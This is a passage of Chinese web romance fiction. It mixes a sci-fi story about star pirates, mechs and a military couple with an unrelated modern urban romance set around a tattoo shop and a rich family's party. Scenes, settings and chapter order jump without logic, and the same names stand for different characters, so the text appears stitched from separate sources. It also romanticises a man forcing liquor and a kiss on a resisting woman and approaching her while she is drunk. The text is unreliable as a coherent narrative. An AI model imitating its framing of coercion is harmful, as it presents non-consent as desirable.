披散的长发挡住了后颈,但脖子上确实是空空荡荡的。 半天没得到回答,夏乐栎有点困惑地仰头。 发丝随着她的动作和后颈微微间隔,夏乐栎那句“怎么了”还没问出口,就听“啪”的一声,门被当着她的面甩上了。 夏乐栎:??? 大晚上的,发什么疯啊? “救命——!!” “毛犀你这个傻逼!” “老大,我是无辜的啊!” “……” 商时驹一觉醒来,照例不记得梦中的回忆,但是心情却是超乎想象的恶劣。他搓了把脸,看向把自己吵醒的警示提醒声。 这艘星舰做过改装,绝大多数区域都有监控,医疗室作为半个公共区也不例外。 被打晕的那小子身体状况不太好,商时驹最后还是把人安置在了医疗室,虽然离开之前把房间上了锁,但是商时驹不觉得这点小机关能拦住对方。这会儿收到提醒,他一点也不例外,甚至都能猜到那小子往哪走。 商时驹留了个小窗追踪星熠的行动,大屏幕直接切到了拘禁室那边。 前几天还空空荡荡的地方现在一派热闹,新入住的住户彼此抱怨着——新老大这边的住宿条件是挺好的,就是居然有门禁时间这点,让人有点受不了。 弗斯看着锁得死死的房门,再看那严格到苛刻的时间表,忍不住在心底嘲讽:一群蠢货。 正这么想着,门口却传来一连串的电子提醒音—— [认证失败,请重新录入精神力,两次之后入口将自动锁定] [认证失败,请重新录入精神力,一次之后入口将自动锁定] [认证失……] 第三次“认证失败”的声音只响了一半,提醒的灯光就骤然熄灭,锁死的机械装置被外部强行打开。 拘禁室里的人屏着气注视着这一幕,等看见进来的人之后,纷纷错愕:居然是星熠! 星熠却没有理会这一群人的意思,而是目标明确地直奔弗斯的房间而去。 其余的人倒是想拦,但是又不敢。 别看这小子瘦瘦的没什么肉,一个人能揍他们一群。 而且这会儿又有现成的理由。 新老大设了门禁时间,他们出不去啊! 这么想着,他们屏气凝神地看着星熠往最里面的房间过去,同时瞪大了眼睛,想学一学对方怎么开锁的。 弗斯也愣了一下,但是短暂的怔然后很快回神。 他在透过透明的房间墙壁在拘禁室打量了一圈,很快就看见角落里闪着红光的监控设备,不由地脸色微变。 眼看着星熠抬手要按到房间的精神力认证锁上,弗斯紧绷着表情嗫嚅了两下嘴唇,然而开口却是,“滚!” 星熠动作一下子顿住了,他不解抬头:“父亲?” “我不是你父亲!就是碰巧遇见你了。看你精神力等级高、还有用,这才把你捡回来。但你现在精神力受损,有D级吗?连机甲都开不了,你还有什么用?……你没用了!滚吧!!” 星熠因为这猝不及防的一段话懵在了原地,他茫然地看着透明墙壁另一边的人,不知道为什么会变成这样。 “啊啊啊!老大我错了!我真的错了!!” …… 商时驹没用什么大杀伤力的泯灭性武器,只是原本星舰上未经改装的火力系统的平A而已。看见那边被打得吱哇乱叫,半点队形都没有,只会瞎躲的一众星盗,他不由地目露嫌弃:一群菜鸡。 真指望着这群人拿下浮水星,还得再练练。 另一边,医疗室。 对着眼巴巴看过来的星熠,夏乐栎语气平淡:“你现在的身体状况不足以支撑L计划,先养好再说。” 去它的L计划! 先老老实实地把受损的精神力养好吧。 不知道谁先喊了一句,此起彼伏的“老大英明!!”响彻舰舱,至于说商时驹说的“实战”反倒是没人在意。 他们哪天不是实战? 都是真枪真弹,走个神都半条命都没了。新老大“不留废物”的态度摆得明明白白的。 既然是放假,商时驹也干脆把星舰上娱乐区开放了出来,原地解散、放任这群人自由活动。 活动区是给他们标注出来了,要是真有人去了不该去的地方,商时驹也不介意给他们一点印象深刻的教训。 众人欢呼着跑远。 商时驹则是对着旁边的格罗,“你辛苦一下,把所有巡逻舰都检查一遍,免得明天出问题。” 格罗拍胸脯保证:“老大放心!!” 作为技术人员,格罗受到的“殴打”要少得多。被塞了不少专业资料不说,还被允许研究这个星舰核心动力系统,他这句“老大”叫得相当真情实感。 这事仿佛就这么揭过去了。 ——噫噫呜呜呜,商哥大气! 就在夏乐栎打算这么放过自己的时候,却注意周州还在看着她,或者说目光一直没挪开。 视线对上的一瞬间,她和温初青的对话、商时驹睡沙发那会儿的偷瞄,还有周州的那句“好看吗”一齐在脑子里来来回回地重播。 夏乐栎:“……” 我没有我不是哥你听我解释!! 第 30 章 第 30 章 夏乐栎从酒吧往外走的一路在想,她到底该怎么开口,才能和周州解释清楚。 她虽然确实“馋人家身子”,但是还没到色令智昏,直接上手的地步。 虽然就结果来说,她确实上手了…… 啊啊啊——! 这怎么澄清啊?! 这边商时驹一副“我什么都知道”的语气套话,另一边回到联盟的宋沃也没闲着。 一辆悬浮车的车门打开,从里面下来了一位体型颇为臃肿的中年男人。 后面一路跟过来的人有点傻眼:人不对啊! 车上的人彼此对视之后,不死心地又等了会儿,直到那辆悬浮车因为空载无人而自动回库后,他们才终于确定自己跟错了人。 几人脸上禁不住露出点苦色,但还是垂头丧气地跟长官汇报情况。 通讯器的另一边出现一张熟悉的面孔,正是刚从第七域回来的宋沃。 不用他开口询问,车上几人已经低丧着语气开口,“长官,我们跟错人了。” 他们正准备详细汇报一下情况,车窗突然被轻轻敲了两下。 他们停靠在这的时间确实有点久了,这车也没挂军部的牌子,被人提醒很正常。坐在侧面的那人连忙打开车窗致歉,“抱歉,我们这就让……”开。 话没能说完,因为车外站着的就是他们此次跟踪的目标人物。 ——维格·布罗德。 设备故障,没接到联络的星熠自然不知道后方的撤离意图。 爆.炸的冲击仍旧让他额角渗血,但是他更清楚的意识到,就算没有那发光子炮的打断,倘若刚才那场对战继续下去,他也会输。 压制得彻彻底底。 完全没有赢的机会。 淌下来的血液渗入眼睛,让所见的一切都蒙上了一层血色滤镜,少年抿了抿唇,握住了那颗蓝色的晶石。 下一秒,机甲在原地消失了。夏乐栎愣了下,她之前还真没考虑过这个问题。 联盟控制区内,跃迁点都是基础性公用设施,完全是夏乐栎印象中高速公路收费站的设置。六、七两个星域的情况虽然混乱,但是大部分的跃迁点还是在联盟控制之下。但是同样的情况显然不适用于外三域了,这里的跃迁点要么极度不稳定,要么被星盗团伙占据。 夏乐栎拧了拧眉,迟疑:“探索小队的先遣军有专用跃迁通道。” 联盟对外的探索从未停止过,当然有直通外三域的通道。但是技术泄露的原因还没查清楚,如果在这时候借用军部的跃迁点,不知道宋沃那边瞒不瞒得过去。 商时驹因为夏乐栎这只是略微为难的语气微扬了下眉梢。 能随随便便调用先遣军的跃迁点,看起来她丈夫在军部影响力不低啊…… “夫人最好别这么干。”商时驹略微低下头,盯住了夏乐栎的眼睛,“如果不想刚到第九域就被盯上的话。” 夏乐栎微微愣了一下,回神却深深地看了商时驹一眼。 记忆真的能完全改变一个人吗? 夏乐栎无法下出一个定论,但是她内心的答案是否定的。 这几天相处下来,夏乐栎赫然发现,自己或许从来没有真正了解过对方。 ……她或许真的该重新考虑一下这段婚姻了,并不是像之前那样一时生气,而是真真正正地重新考量这段关系。 商时驹被看得怔了下:不是吧?真生气了? 他心底有点犯嘀咕,但还是稍微拉开了距离,接下来的语气也正经了起来,“有的跃迁点还是能‘借’到的,但得找个合适的中间人。” 夏乐栎敛住神情,暂时压下那些思绪,问:“怎么找中间人?” 商时驹却是扬着眉笑了下,“等他们自己上门。” 或者说在原地的,本就是速度过快留下的残影。 另一边,商时驹如有所感地后退了一个身位。 但仍是慢了一步,被扫了个正着,速度加持冲力这一击的破坏力可观,耳边同时传来系统播报,[机甲损毁度7%……] 夏乐栎远远地看着那边缠斗在一起的两台机甲,就算她完全没有经验,也知道现在的战斗和刚才完全不是一个层级的。 因为刚才的差点误伤,夏乐栎这次谨慎了许多,起码找到了这个星舰的瞄准系统。 但是她尝试了几次,发现根本对不准目标。 再一次听到“瞄准失败,请重新锁定目标”的提示后,夏乐栎干脆地转换了攻击对象——她锁定了后方那艘星舰。 光子炮蓄能需要一定的缓冲乐,早有了戒备的星盗舰在第二发光子炮炸开前险险通过预判躲开,不过舰上的人可就没那么好的心态了。 能量冲击的余波袭来,试图修理通讯台的格罗一个哆嗦,失手剪断了一道信号线,舰上其他人也各有各的狼狈。 一阵惊慌失措的嚎叫之后,有人忍不住小声蛐蛐:“老、老大,咱们先走吧?” 星盗之间可没什么队友情,大难临头各自飞才是正经事。 都这会儿了,谁还有心思管一个闷不吭声的小崽子!又不是亲生的。 弗斯脸上的肌肉抽动了一下,但却牢牢地把住控制台没有动。 又有人劝,“咱们在这也是给星熠拖后腿,早点撤对大家都好……” 这人的话没说完,那边的战局变故陡生。 星熠因为刚才那发光子炮被牵扯了注意力,商时驹自然毫不客气地抓住了这个空档。 他短促地笑了一声,“敢走神?” 和他机甲对战还敢心不在焉?他真是很久没遇到这么嚣张的人。 他一个侧踢把人踹了出去,毫不客气地补了发能量炮,直接把这台机甲轰到了对面星舰上。 那艘星盗舰也不负其东拼西凑的外观,这一下子就被砸了个透穿。刚才还在争论要不要撤的星盗全都消了音,惊恐地看着被砸进来的队友和大摇大摆顺着窟窿落进来的另一台机甲。 商时驹倒是没急着收拾这群人,而是抽空打开了通讯。 夏乐栎急忙接通通讯,眼前的屏幕上瞬间显示出一张熟悉的脸。他额上带着点点汗意,但是脸上的表情却是游刃有余地悠哉……看着不像是有事的样子。 夏乐栎浅浅地松了口气,但她还没来得及不及问对方情况怎么样,却先听到一声语带笑意地调侃,“这么担心我啊?” 真的很担心的夏乐栎:“……”商时驹其实有点犯嘀咕。 他走这条路线一方面存着勾搭美人的心思,另一方面也确实是为了引起星盗注意。现在是有东西上钩咬饵了,不过他怎么看怎么觉得,这钓上来的……好像是只土泥鳅。 看着眼前这仿佛从回收星拖出来的废品星舰,商时驹降低了引擎供能、一点点放缓了速度。 破烂到这商度,别说一发光炮了,仿佛碰一下都能散架,这可不是他想找的对象。 商时驹正犹豫着要不要原地折返,却突然神色一凛。 精神力的控制下,机甲灵活地一个下移,原本所在的坐标上,一道能量束赫然穿过。 商时驹挑了下眉:这才有点意思嘛! 她一点点收起了表情,神色发冷地一拳捶到了面前的控制台上。 光子炮擦着快散架的星舰而过,夏乐栎没听到商时驹的回应,倒是先听到了一道高亢震耳的背景音。 “老大——!!!”与此同时,不远处的一个废弃小行星上。 旁边的狗腿子一脸畅想,弗斯倒是一脸作为老大的稳重表情。 狗腿B也跟着开口,“联盟的星舰就是好啊,听说‘耀域’老大的座驾也是奥罗公司改装,几年前耀域在舰上开趴,我跟着当时的大哥混上去了,嘶……连舱壁都是耀金的!” “最近耀域好像在内斗,拿下这艘星舰,咱们就是‘耀域第二’!” “呸!什么第二,在老大的英明领导下,咱们肯定能取而代之、成为第八域的新老大!!” 一番无脑鼓吹后,弗斯简直红光满面。 他抬了抬手,压下下属们越发激昂的情绪,颇有统筹大局风范地往旁边一指,语气镇定道:“还等什么?走吧。” 这话一落,一行人顿时气势磅礴地走向旁边那艘四处都是补丁、审美风格颇为奇妙的混搭星舰。 就上面东拼西凑的材料板来看,很容易让人怀疑这是从垃圾星上刚刚拖回来的。 “啪嗒、砰——” 大概是行走间引起的地面震动,星舰上方的一块临时拼接的卡扣松脱,固定的金属板重重地砸在了地面上,刚刚还一派欣欣然的场景霎时陷入寂静。 半晌的死寂后,一个身形粗壮的矮个子抱着修理工具匆匆上前:“大概是固定没做好,我去看看!” 其他人也不敢在这时候触老大霉头,各找理由地去做出行前检查,看起来很有四散奔逃的画面感,没多一会儿,弗斯身边就剩了一个没什么表情的少年。 弗斯:“……” 一群废物! 他那过度膨胀的自信心当然不是来源于这个草台班子,也不是那艘快要报废的星舰。 看着眼前这个少年,弗斯露出了一个和蔼的笑容,眼底却溢满了热切,“星熠,你会成为第八域的大人物的!” 他想要摸摸少年的头,但抬起的手在半空里够了一下没够到,自然而然地转成了拍肩膀。 少年依旧没什么表情,但是乖巧地低下了头,语气没什么波动地应了一声,“是,父亲。” 随着他俯身的动作,侧边的衣服口袋露出了一道缝隙,湛蓝晶石上流转的光芒一闪而过。 灰发灰眸的青年露出一个礼貌又有距离感的微笑,“作为联盟公民,发现回家途中被可疑人士尾随,我想我可以把这件事上报联盟安全警备处……您说是吗?宋上校。” 他明晃晃地无视了这一车人,直接和通讯器的另一边宋沃发起了对话。 确定自己被威胁了的宋沃:“……” 不同部门之间肯定有摩擦,他的顶头上司作为军部招牌的3S,以其碾压性的实力和与实力同等的恶劣脾气著称,以至于不管是军部内外,追随他的拥趸和恨他恨得牙痒痒的人一样多。不巧,安全警备处的老大属于后者,就算不知道是什么事,对方也绝对不介意给商时驹找点麻烦。 思绪念转,宋沃立刻摆出一副官方惯用的打太极表情。 他刚想说点“一切都是误会”之类的话粉饰太平,就听对方开口:“阿乐那边出事了?” 宋沃:“……夫人一切安好。” 他稍微加重了“夫人”两个字,希望对方在称呼别人妻子的时候有点分寸。 布罗德完全没理会宋沃,而是接着:“是黑钢?” 宋沃一顿。 但还不等他敷衍点什么,对面已经接着,“黑钢出现在外域。” 这一次完全是陈述语气了。 宋沃:“……” 知道的这么多,这人真的不是幕后黑手吗? 卡森笑容一下子变得勉强起来。 僵持了几秒,他嗓子发涩地开口,“误会,都是误会。” 商时驹偏了下头看他。 卡森老老实实地坐回了座位上。 周州温和,[好了,可以问得更直接点了。] 夏乐栎:“……” 你们不对劲!【你现在阅读的是 】 30-40 第 31 章 第 31 章 有了商时驹的“帮助”,接下来询问就变得简单多了。 卡森问什么答什么,除了脸色苍白点、声音紧张点,没别的毛病。 场馆内的空调温度适宜,但卡森额上的汗珠一滴接着一滴渗,在他抽出西装口袋的折叠手帕、第八遍抬手擦汗的时候,他终于把能交代的交代得差不多了。 说的是挺多,但有效信息十分有限。 看出了夏乐栎的态度,卡森再次抹了抹虚汗的额头,“姑奶奶唉,我真不知道了……我和你实话说了吧,丁成的钱真的不经我手。这小子早就私底下找下家了,他进去之前,我俩为了他解约的事都快闹掰了,我要是能管得了他的财务,我用得着为了个解约费和他掰扯这么久吗?” 周州:[再具体问问。] 夏乐栎:“你说的下家是谁?” 等那群找周州算账的人彻底走远之后,门外静谧一片没有任何动静了,夏乐栎才敢小心翼翼地扒着门板溜出来。 因为周州的这场“特别表演”,宴会也就此打住,她下楼回到花园的时候,看见所有服务生都在着急忙慌地收拾残局,数不胜数的一元美钞用扫把归整,哗啦哗啦在草坪上摩擦声响。 看着还是无比怪异又疯狂。 夏乐栎环视周围。 明明才见过两次,周州这个人,给她一种无论什么事都干得出来的感觉。 而且你根本不知道,他什么时候,会因为什么突然疯起来。 “夏乐栎!你跑哪里去啦!”夏习真的呼唤传来。 夏乐栎扭头,看见站在一侧等自己的一家三口,赶紧小跑过去,满脸愧疚。 “对不起,我……” 习莲看了眼她出来的方向,“你刚刚不会在楼上吧?不是让你别乱跑,冒犯着别的老板怎么办。” 夏乐栎死死低着头,咬唇,要是让父母知道她刚刚和周州在一起肯定会被骂。 她不敢说,只能撒谎:“我,我就是上去找了个卫生间,上完就下来了。” 夏辉挥挥手,“行了,别在这儿聊了,咱们赶紧回去。” “今天闹着一出,这家人肯定要善后的,我们别在这儿碍事。” 夏乐栎始终垂着眼,跟着家人往外面撤离。 走到商家大门的时候,她走着,没忍住回头,往花园的方向看去。 模模糊糊的视线找准那个二楼飘窗的位置,周州的各种举动模样在脑海里挥之不去。 夏乐栎心有余悸,捂着胸口扭回头,离开了这是非之地。 卡森愣了一下。 这问话方向和他想的不太一样啊? 又接着问答了几句,卡森渐渐察觉:这两人好像、大概……不是来要钱的? 他瞄了眼侧边坐着也腰板挺直的商时驹,又琢磨了一下刚才的对话,似有所悟。 再对着夏乐栎,态度一下子殷勤起来,“您稍等。” 戴维这才恍然。 一杯杯绚丽的酒被送上吧台,桌面也染上的缤纷的色彩。 夏乐栎想要伸手去拿,商时驹先一步抬手。 他把各种颜色的酒一股脑倒进自己那个空杯子里,摇了两下、仰头一口干了,又低头看夏乐栎,“可以了吧?我送你回去。” 夏乐栎隐约觉得这个酒好像不是这么喝的,但是脑子一时又有点转不过来。 见商时驹伸手过来,她就自然而然地靠了过去。 商时驹愣了下,他本来是为了防止人站不稳,才顺手用手臂护了一下,没想到就这么猝不及防地被扑了满怀。 温软的身体贴在身上,该碰的不该碰的地方都被碰了个遍,想到刚才戴维说的“美丽的错误”,商时驹喉结禁不住滚了两下。 环着腰肢的手收紧了些许,他低下头凑近。呼吸近到彼此可闻,混合着香味儿的淡薄酒气熏得人也生出些醉意。 在这个暧昧的距离下,他哑着声又重复了一遍,“我送你回去。” 这确实是个足够明显的暗示,但是那是对清醒的人而言。 商时驹还唾弃着自己居然有一天也会做这种趁人之危的垃圾事,却见对面的人轻轻地眨了下眼。 扇动的长睫宛若蝴蝶振翅,声音也轻得仿佛微风拂过。 “你不一起吗?” 你不一起……不一起、一起…… 艹! 夏乐栎觉得眼前一晃,下意识地揽住商时驹的脖颈。 腰间的那只手臂略微往上抬了抬,垫在了背部,另一只手勾住了腿弯,她思考了一会儿,才明白过来自己被商时驹抱起来了。 好像没什么问题。 这么想着,夏乐栎放松地把头靠在对方的肩侧,肩膀下的肌肉绷起,她还顺便蹭了两下。 商时驹咬了下牙。 ——TMD、还没到!!! 夏乐栎看了眼后面的酒柜,摇头,“不用了,我不喝酒。” 戴维顿了下,先是看商时驹。 这算是婉拒吗?这位的信息素可是酒味儿的。 商时驹挑了下眉,有先前夏乐栎告知腺.体的事,他倒是没多想,只是问:“为什么?不喜欢?” 夏乐栎摇头,“只是不想喝。” 见商时驹一副听她接下去的样子,夏乐栎顿了顿,倒也接着解释了几句,“酒精没什么好处,只提供热量却无法构成身体供能,扰乱神经麻痹思维……” 商时驹打断,“你喝过吗?” 夏乐栎有点困惑地抬头,“嗯?” 有这么多坏处的东西,她完全想不出自己主动接触它的理由。 商时驹的视线稍微往下移了一点,浅色的唇瓣莹润又柔软,因为仰头的动作,嘴唇微微开启,露出一点洁白的贝齿。 喉结上下动了动,商时驹突然觉得有点口渴。 他拿着杯子灌了一口酒,却没有咽,而是倾身吻了过去。 夏乐栎猝不及防,下意识往后退,后脑却被人紧紧按住,拇指抵在下颌的边缘,她被迫仰起头来,蜷起的舌尖被侵入的舌头毫不客气地压下,冰凉地液体毫无阻挡地灌入喉管,所过之处激起一片滚烫。 吧台后面的老爷子愣了一下,一边摇头唏嘘着现在的年轻人啊,一边若无其事地转过身去。 至于说“帮忙”? 透过衬衫仍能够看出贲张肌肉轮廓的肩背上,正搭着一只素白的手,指.尖紧紧往下叩着,指甲都快扣到肉里了却没有推开……漂亮女士总是有点矜持的,他要是这时候打断,可就真成了烦人的老头子了。 辛辣的气味充斥着口腔,侵入的舌尖带着冰凉的温度,商时驹顺势在湿热的口腔里勾缠了一会儿才若无其事地退出去。 夏乐栎偏过头去呛咳了。 被拍着背顺了好一会儿气,她才缓过来怒瞪商时驹:“你干什么?!” 湿漉漉的…… 无框镜片下的眼睛带着咳出来的泪光,嘴唇也被酒液浸得湿亮。不知道是因为呛咳还是生气,略微苍白的肌肤上覆着一层薄薄的粉意。 他干什么啊?夏乐栎这才反应过来。 刚刚屋子里一直有第三个人存在,说不定……不对,是肯定。 她和姝姝的对话他肯定全都听见了! 那,那那些令人害臊的倾诉岂不是全都让这个陌生男人听去了!? 嘭。 她听到自己脑子里某根线短路了,轰轰把全身都烧得发烫。 对方的神色饶有兴趣,夏乐栎被盯得羞得脸颊快要滴血。 “你,你别。” 周州双指转着手机,“我别?” 夏乐栎确定自己很生气,有点控制不住礼貌的那种,“我是你们店的客人。” 他单手撑着脑袋,好整以暇:“所以?” 她告诉对方:“询问客户的隐私非常不礼貌,这么基本的道理,你不懂吗?” 视线所及,站在饮水机旁边的女孩脸红得像番茄,耳垂也红,因为生气害羞,清淩的双眼泛着激荡的情波。 因为这双翻涌情感的眼睛,气质呆滞的夏乐栎瞬间变得灵动许多。 周州睨着她的脸,眼底漆深,眼见着店里客人要被自己气哭了,他抬手,吊儿郎当作致歉状。 得,不问了。 夏乐栎见他收起视线,放了口气,转身接了水,走到纹身室刚要迈进去,就听见耳畔传来一句。 “叫时什么来着……” 他嗓音含着刻意的悠哉。 她刹地又热了脸,回头狠狠瞪了他一眼,进了纹身室。 怎么会有这么欠揍的人! 好在申姝完成纹身之后,夏乐栎陪她出来的时候,那个恶劣的身影已经不在店里了。 这个人的存在几乎是夏乐栎二十年人生里认知之外的存在。 说不出要用什么词能形容他,总之。 一见到他,一和他对视,她就能感受到那股排山倒海的压迫感。 就好像动物的天敌关系。 她默默许愿,崇京这座城市这么大,希望以后别再见到他了。 夏乐栎的房间是密码锁。 这个世界因为有精神力的关系,不管是虹膜还是指纹认证都不是主流的认证方式,相应的仪器设备虽然有,但都很小众、在外域更不好安装。再加上他们也只是临时落脚浮水星,也就用密码锁先应付一下。 但夏乐栎这会儿脑子不太清楚,在门口连续输入两次密码都输错了。 再输错一次就自动锁定。夏乐栎对这个倒是挺清楚的,不由停下动作,盯着录入界面陷入沉思。 商时驹已经开始思考“破门而入”的可行性了。 好在在他耐心告罄把门砸了之前,夏乐栎终于输入了正确的密码。 商时驹稍怔,他脸上冰凉的神情稍微缓了点,上下打量着对面的人,目光在那被吻得红肿的唇上定了一会儿,饶有兴致地,“不然、就按你喜欢的来?” 夏乐栎点点头,第一件事就是把眼镜摘了。 大部分时候,她还是愿意配合商时驹这点小癖好的,但是果然还是好怪啊!而且亲起来也很不方便。 香软的唇舌凑了过来,虽然动作温吞了点,但是美人主动亲近,商时驹还是挺享受的。 被按着肩膀往另一边推的时候,他也没反抗,很干脆地顺着那一丁点力道翻了个身,任由对方的肆意作为。 …… 虽然开始产生了一系列乌龙,好在误会很快解开,但夏乐栎手腕的手铐却没能打开。 陈显:“对不住啊妹子,我出来得太急,没带钥匙。” 夏乐栎还能说什么。 她只能面带微笑地,“没、关、系。” 陈显:“……” 感觉对面很想把拷着手铐的巴掌甩在他脸上。 不管怎么样,还是商时驹的情况要紧。 一行人上了车,陈显一边发动着车子,一边悻悻地对着商时驹小声,“这能怪我吗?你抓得那么紧,我还以为是嫌疑人——” 商时驹半靠在副驾上平复气息:“闭嘴!” 陈显:“……” 黑灯瞎火、拉拉扯扯、搂搂抱抱,他难道不该拷吗?!! 第 32 章 第 32 章 到了医院,抽了血样,陈显一个人跑上跑下地忙手续,夏乐栎和商时驹在过道等。 这会儿已经是后半夜了,医院人不多。 冷白的灯光映得墙壁白惨惨的,金属的座椅带着冰凉的寒气。 夏乐栎抬眼看了眼对面。 从下了车之后,商时驹就离她起码两步远,这会儿也分隔着过道坐在两边,气氛安静得诡异。 发射的能量束擦着商时驹的脑袋而过,身后那个不知道什么时候站起来的同伙应声倒下。商时驹觉得自己好像一点也不意外,他心底莫名有种“对方不会对自己动手”的笃定。 他笑一下,正想借此机会和美人搭个话,却见对方冷冷地看了他一眼,面无表情地从他身边走过了。 商时驹:“……” 好吧,这似乎是个冷美人。 后方的控制室。 刚才紧急呼叫通讯还没挂断,投影过来的武器研发部技术员看着这一屋子后勤,对这仿佛劫后余生的庆幸很不理解,“S-35是自动防御系列,里面的武器都是麻醉弹……刚才夏组要是瞄准了,你们任务不就结束了?” 他们松什么气啊?被商家的保姆阿姨带进院子,晚饭前大部分人都在北侧的庭院里听音乐喝酒洽谈。 夏乐栎很少到商家来,每次见到商时驹都是在外面,或者他来找她们去玩。 她跟在父母身后,悄悄用余光打量,整个庭院的装潢以白色的清驹色调为主,名贵玉石和字画随处可见,鲜花满园,名贵树木郁郁葱葱,看上去温馨又高级,冷色调也给她这样的胆小角色一种高不可攀的距离感。 在进入花园酒宴之前,习莲回头,特地嘱咐:“一会儿打完招呼,你们姐俩就去一边吃东西,这里面所有叔叔阿姨都是人物,栎万别给你爸找事,听懂没?” 夏习真撅撅嘴一副不服气。 夏乐栎小鸡啄米似的点头:“绝对不捣乱。” 从小到大,听妈妈说过的最多的一句话就是,不要给家里找麻烦。 处境尴尬,只有听话才是得到爱的前提。 就算她有点傻,这点事也能看得出来。 “哎呀妈你放心吧,小孩儿有可能捣乱,我和姐都什么年纪了。”夏习真挥挥手,挽住夏乐栎。 夏辉带着剩下三口人去送时礼,结果一看许多精英人士围着商总正热谈,他们根本没空插-进去。 夏乐栎时隔很久再次见到这家的女主人,也是别人口中的“商总”。 她也是认识商时驹很久以后才知道,商家兄弟都是跟母亲姓,而时驹哥的父亲时先生属于入赘,所以姓氏附在商之后。 据父母说,商家爷爷有两个孩子,就是商时驹的母亲和大舅,他们两人的势力各占据商光财团一半的权力,彼此对峙彼此约束。 但因为商时驹的舅舅没结婚没孩子,所以股东们的心更往这一家偏一些。 毕竟到了这一代,商时驹周州兄弟二人各有长处,都是精英教育下的佼佼者。 夏乐栎没心思管那些听不懂的商场风乐,目光牢牢地停在站在商总身边的商时驹身上。 商时驹穿着一身白色的休闲白西装,洁白的西装外套里面穿了一件英伦蓝的衬衫,去除了西装的死板,和他清冽温柔的气质格外相搭。 他站在母亲商漫身边,微笑着,风度翩翩,对答如流。 天之骄子,玉堂人物,这样的词汇放在这位首富公子哥身上毫不虚名。 不知怎的,他停下来后,忽然偏头看过来。 视线巡视一圈,找到了他们一家。 商时驹的目光定过来的瞬间,夏乐栎刷地低头,眼睫眨动不止。 “妈。”商时驹俯身过去,在母亲耳畔恭敬道:“我看见夏叔一家来了,我去说会儿话。” 来的宾客太多,商漫顾不上所有人,点头,让儿子替自己去寒暄。 “说两句就回来,我还有几个董事要介绍给你。” 不是要带商上将回联盟吗? 宋沃:!!! 他一个鲤鱼打挺坐起来,一巴掌拍开了通讯器,但准备开口之际却卡住了。 这要怎么说? 夫人您现在折回去,再给上将来一枪……这说法怎么听都很不妙啊!特别还是现在这状况。 宋沃还在组织语言,通讯器另一边的声音却幽幽传过来。 “我和他第一次见面,是在第三星域的波尔星。” 宋沃:? 他一时没能明白夏乐栎为什么突然说这个,但还是应和了一声。 “我去考察黑钢产地的,因为黑钢的特殊磁性,矿区无法使用光脑导航,我出来的时候走错了路,似乎是去到了地图上标注的高危险区,被人尾随……” 不知道怎么的,宋沃对接下来的发展居然有猜测。 果然—— 夏乐栎轻声,“当时联盟军校在波尔星有演习,是他救了我。千钧一发。” 那是她到现在都能清晰记起的场面。那道身影逆着光而来,将一切喧嚣吵闹混乱无序都隔绝在外。衣领折角处的军校徽章在后方霓虹的映照下,折射出绚丽的光…… 宋沃试图打个哈哈说两句“好巧啊”之类的话,把这事蒙混过去,却听对面声音平静地补充,“和今天一样。” 宋沃:“……” 救命!他一点都不想掺和进上司的家庭危机! 他干巴巴地试图给上司做个解释,“也不一定……” 话一出口,差点儿给自己一巴掌,什么叫“不一定”?!这会儿得说“肯定不”啊!!! 夏乐栎:“你说的对。” 宋沃微微松口气。 夏乐栎:“没有证据。”正出神,有两个看上去就不好惹的社会青年从她身后跑过,嘴里骂骂咧咧的全是生-殖-器词汇。 吓得她差点原地蹲下,结果发现他们根本没管自己。 再有一个拐角就能看到村口,夏乐栎拍抚胸口左转,低头迈入更暗的窄巷里。 不断往前走着,她忽然听到了一声若隐若现的痛叫,猛地刹住脚。 目光扫去,地上倒了五六个扭来扭去挣扎的身影。 反应过来的时候,她已经走入了风暴中心。 刚刚从身边略过的那两个脏话青年此刻一个躺在地上,另一个在…… “看什么呢姑娘?”一道乐呵呵的嗓音传来。 夏乐栎吓出冷汗,看见旁边站着个胖男生,因为刚打完架,正喘着气。 她逐渐意识到自己误入了个什么场面,可双腿僵得发凉,动也动不了。 完了,完了是黑-涩-会…… 这时,正前方传来丝丝哀嚎,还有身体在墙面摩擦滑落的声音。 “我草了你妈的……” “有本事放手,我非弄死你……” 夏乐栎转动眼珠,一点点投向声音源头。 这才发现墙头的阴暗面站着个人,背影高耸,肩膀宽阔,长腿拉出久久不散的影子。 他穿了一身黑,手臂因用力绷着肌肉走势。 他微微偏头回来,凤眼黑得发亮。 这个男人一转身,夏乐栎才瞧见被他抡在墙上的人。 是脏话二人组的另一个! 周州单手拎着人,踢走刚刚刺向自己的折叠刀,瞥她一眼。 “哪碍事儿往哪走?” 夏乐栎喉咙一哽,后背抖个不停,因为害怕脑子乱成浆糊:“……啊?” 周州一松手,被抡在墙上骂骂咧咧的男人瞬间倒地。 他微微点头,透着不耐烦。 “对,就你。” 宋沃:“……” 这仿佛“收集证据、准备离婚”的语气是几个意思?!要是顶头上司回联盟的第一件事是面临离婚诉讼,那么……他的下场是可想而知的惨烈QAQ!! 夏乐栎回去这一路上,宋沃都安静如鸡,不敢说话。 别说让夏乐栎回去补上一枪了,他现在吭都不敢吭一声。 倒是那边的技术员想了想,仿佛明白似的开口,“也对,S-35毕竟是防御系统,但是想放倒一个3S还是困难了点,要是一击不成,之后就麻烦了。你们原来怎么打算的?用星陨系列吗?” 宋沃:“不、不是……” 这群研发部的人怎么回事?不是把人打晕带回来,就是把人打得半死不活带回来……连对星武器都考虑了,那可是他们顶头上司!这么干以后还想不想要工作了? 宋沃解释:“上将一直在躲避联盟的接触,我们其实不确定提示词是不是真的失效,所以想让夫人去试试……而且alpha和伴侣之间的吸引是生理性的,上将现在的信息素经过了伪装,要是他感知到自己原本的信息素,肯定会有察觉的。” ——这也是为什么一定要夏乐栎过来的原因。 听到没打算动用星陨系列,技术员顿时不感兴趣地“哦”了声,接着整理手上S-35数据流。 难得夏组对武器系统感兴趣,资料得给的详细点。 他正梳理着数据呢,突然轻轻“咦?”了一声。 宋沃:“怎么了?” 技术员:“信息素超阈值了,刚才上将动手的那会儿,时间……十毫秒左右吧,卡得很准,S-35没形成报警,浓度就降下去了。” 宋沃:“……” alpha打架的时候,信息素确实容易控制不住,但是刚才那商度,对商时驹来说叫打架吗?连活动筋骨都算不上!还卡着报警时间…… 脑子里万千念头奔腾而过,宋沃努力绷住表情,抬头:“这段记录、能删吗?” 夏乐栎意识还没清醒过来,倒是模糊想起自己该给人腾地方,“我先回屋……” 半梦半醒间往下踩了空,但又没有摔倒,像是落进了一片轻飘飘的云里,耳边传来一声同样轻的,[先擦药。] 夏乐栎觉得自己小声咕哝了一声,但整个人都扑在云里让人生出种非比寻常的安全感,脑子复又被困意掳获,她自己都不太清楚说了个什么意思。 